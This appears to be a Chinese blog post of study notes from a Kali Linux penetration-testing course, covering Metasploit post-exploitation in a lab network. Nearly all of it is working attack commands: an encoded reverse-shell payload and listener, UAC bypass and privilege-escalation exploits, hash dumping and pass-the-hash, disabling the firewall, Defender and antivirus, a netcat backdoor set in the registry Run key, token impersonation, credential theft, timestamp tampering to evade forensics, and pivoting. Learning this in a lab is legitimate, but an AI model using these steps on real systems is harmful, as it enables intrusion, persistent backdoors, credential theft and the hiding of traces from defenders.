本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程，教程为安全牛课堂里的《Kali Linux 渗透测试》课程
1. 准备工作
-
已经获得目标系统控制权后扩大战果
- 提权
- 信息收集
- 渗透内网
- 永久后门
-
基于已有 session 扩大战果
- msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.0.128 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o payload.exe
-
kali 监听
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set LHOST 10.0.0.128 msf exploit(multi/handler) > exploit -j -
windows 系统执行 payload.exe
-
kali 进入 metepreter
msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WIN7-VM\John @ WIN7-VM 10.0.0.128:4444 -> 10.0.0.132:62941 (10.0.0.132) msf exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows WIN7-VM\John @ WIN7-VM 10.0.0.128:4444 -> 10.0.0.132:62941 (10.0.0.132) msf exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid Server username: WIN7-VM\John
2. 获取 system 账号权限
-
提权失败，一般是由于 UAC 限制
meterpreter > getuid Server username: WIN7-VM\John meterpreter > load priv [-] The 'priv' extension has already been loaded. meterpreter > getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin) meterpreter > background -
绕过 UAC 限制
-
use exploit/windows/local/ask
use exploit/windows/local/ask set payload windows/meterpreter/reverse_tcp use exploit/windows/local/ask set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 set FILENAME win_update.exe set SESSION 1 exploit
meterpreter > getsystem meterpreter > getuid
-
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac set SESSION 1 set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 show targets exploit
-
use exploit/windows/local/bypassuac_injection
use exploit/windows/local/bypassuac_injection set SESSION 1 set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 exploit
-
-
利用漏洞直接提权为 system
-
use exploit/windows/local/ms13_053_schlamperei
use exploit/windows/local/ms13_053_schlamperei set SESSION 1
-
use exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_081_track_popup_menu set SESSION 1 exploit -
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ms13_097_ie_registry_symlink set SESSION 1 set URIPATH / set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 set SRVHOST 10.0.0.128 exploit -
use exploit/windows/local/ppr_flatten_rec
use exploit/windows/local/ppr_flatten_rec set SESSION 1 exploit
-
-
图形化 payload
-
set payload windows/vncinject/reverse_tcp
use exploit/windows/local/ppr_flatten_rec set payload windows/vncinject/reverse_tcp set SESSION 1 set LHOST 10.0.0.128 set ViewOnly false exploit
-
-
关闭 UAC 功能
-
获取 hashdump
meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: John:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -
尝试利用
use exploit/windows/smb/psexec set RHOST 10.0.0.132 set SMBUser John set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 exploit
报错：Exploit failed [no-access]
-
需要提前关闭 UAC
sessions -i 2 shell cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f shutdown -r -t 0
-
再次利用
use exploit/windows/smb/psexec set RHOST 10.0.0.132 set SMBUser John set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 set payload windows/meterpreter/reverse_tcp set LHOST 10.0.0.128 exploit
-
4. 基础操作
1. 关闭防火墙
-
需要管理员或system权限
netsh advfirewall set allprofiles state on netsh advfirewall set allprofiles state off
2. 关闭 windefend
-
查看服务名称
-
关闭防火墙
net stop windefend
3. bitlocker 加密
- manage-bde -off C:
- manage-bde -status C:
4. 关闭 DEP
- bcdedit.exe /set {current} nx AlwaysOff
5 杀死防病毒软件
- run killav
- run post/windows/manage/killav
6. 开启远程桌面服务
# 开启服务
run post/windows/manage/enable_rdp
# 关闭服务
run multi_console_command -rc root/.msf4/loot/20180418001805_default_10.0.0.132_host.windows.cle_842354.txt
# 开启服务
run getgui –e
run getgui -u yuanfh -p pass
run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc
7. 查看远程桌面
- screenshot
- use espia
- screengrab
5. 使用 tokens 攻击域控制器
-tokens
- 用户每次登录，账号绑定临时的tokens
- 访问资源时提交 tokens 进行身份验证，类似于 web cookies
- delegate tokens：交互登录会话
- impersonate tokens：非交互登录会话
- delegate tokens 账号注销后变为 Impersonate Token，权限依然有效
-
Incognito
- 独立功能的软件，被 msf 集成在 metepreter 中
- 无需密码或破解或获取密码 hash，窃取 tokens 将自己伪装成其他用户
- 尤其适用于域环境下提权渗透多操作系统
-
搭建域环境
- DC + XP
-
load incognito
- list_tokens -u
- impersonate_token lab\administrator
- 运行以上命令需要 getsystem
- 本地普通权限用户需要先本地权限
- use exploit/windows/local/ms10_015_kitrap0d
- execute -f cmd.exe -i -t # -t：使用当前假冒tokens执行程序
- shell
8. 注册表
-
注册表保存着 windows 几乎全部配置参数
- 如果修改不当，可直接造成系统崩溃
- 修改前完整备份注册表
- 某些注册表的修改是不可逆的
-
常见用途
- 修改、增加启动项
- 窃取存储于注册表中的机密信息
- 绕过文件型病毒查杀
-
用注册表添加 nc 后门服务（metepreter）
- meterpreter >
- upload /usr/share/windows-binaries/nc.exe C:\windows\system32
- reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
- reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
- reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc
-
打开防火墙端口（metepreter）
- meterpreter >
- execute -f cmd -i -H
- netsh firewall show opmode
- netsh firewall add portopening TCP 4444 “test” ENABLE ALL
- shutdown -r -f -t 0
- nc 10.0.0.132 444
-
其他注册表项
9. 抓包
- 抓包（metepreter）
- load sniffer
- sniffer_interfaces
- sniffer_start 2
- sniffer_dump 2 1.cap / sniffer_dump 2 1.cap
- 在内存中缓冲区块循环存储抓包（50000包），不写硬盘
- 智能过滤 metepreter 流量，传输全称使用 SSL/TLS 加密
- 解码
- use auxiliary/sniffer/psnuffle
- set PCAPFILE /root/1.cap
10. 搜索文件
- search -f *.ini
- search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx
11. 破解弱口令
- John the Ripper 破解弱口令
– use post/windows/gather/hashdump # system 权限的 metepreter
- run # 结果保存在 /tmp 目录下
- use auxiliary/analyze/jtr_crack_fast
- run
12. 擦除痕迹
- 文件系统访问会留下痕迹。电子取证重点关注
- 渗透测试和攻击者往往希望销毁文件系统访问痕迹
-
最好的避免被电子取证发现的方法：不要碰文件系统
- metepreter 的先天优势所在（完全基于内存）
-
MAC 时间 （Modified / Accessed / Changed）
- ls -l –time=atime/mtime/ctime 1.txt
- stat 1.txt
- touch -d “2 days ago” 1.txt
- touch -t 1501010101 1.txt
-
MACE：MFT entry
- MFT：NTFS 文件系统的主文件分配表 Master File Table
- 通常 1024 字节或2个硬盘扇区，其中存放多项 entry 信息
- 包含文件大量信息（大小 名称 目录位置 磁盘位置 创建日期）
- 更多信息可研究文件系统取证分析技术
-
Timestomp (meterpreter)
- timestomp -v 1.txt
- timestomp -f c:\autoexec.bat 1.txt
-b -r # 擦除 MACE 时间信息，目前此参数功能失效 - -m / -a / -c / -e / -z
- timestomp -z “MM/DD/YYYY HH24:MI:SS” 2.txt
13. pivoting 跳板 / 枢纽/支点
- msfvenom 制作 payload
msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=kali_firewall LPORT=4444 -b “\x00\xff” -e x86/shikata_ga_nai -f exe -o payload.exe -
获取 system 权限
-
利用已经控制的一台计算机作为入侵内网的跳板
- 在其他内网计算机看来访问全部来自于跳板
-
run autoroute -s 1.1.1.0/24 # 不能访问外网的被攻击目标内网网段
-
自动路由现实场景
- 利用 win7 攻击内网 XP（对比 xp 有无外网访问权的情况）
– 扫描内网：use auxiliary/scanner/portscan/tcp
- 利用 win7 攻击内网 XP（对比 xp 有无外网访问权的情况）
-
Pivoting 之端口转发 portfwd
- 利用已经被控计算机，在kali 与攻击目标之间实现端口转发
- portfwd add -L LIP -l LPORT -r RIP -p RPORT
- portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
- portfwd list / delete / flush
-
use exploit/windows/smb/ms08_067_netapi
- set RHOST 127.0.0.1
- set LHOST 2.1.1.10
- use exploit/multi/handler
- set exitonsession false
14. POST 模块
- meterpreter >
- run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
- run post/windows/gather/checkvm
- run post/windows/gather/credentials/credential_collector
- run post/windows/gather/enum_applications
- run post/windows/gather/enum_logged_on_users
- run post/windows/gather/enum_snmp
- run post/windows/manage/delete_user USERNAME=yuanfh
- run post/multi/recon/local_exploit_suggester
- run post/multi/gather/env
- run post/multi/gather/firefox_creds
- run post/multi/gather/ssh_creds
- run post/multi/gather/check_malware REMOTEFILE=c:\a.exe
- run hostsedit -e 1.1.1.1,www.baidu.com
- migrate -N explorer.exe
- run [tab] [tab]
-
run winenum
-
自动执行 metepreter 脚本
- set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
- set InitialAutoRunScript checkvm
-
自动执行 post 模块
- set InitialAutoRunScript migrate -n explorer.exe
- set AutoRunScript post/windows/gather/dumplinks
15 .持久后门
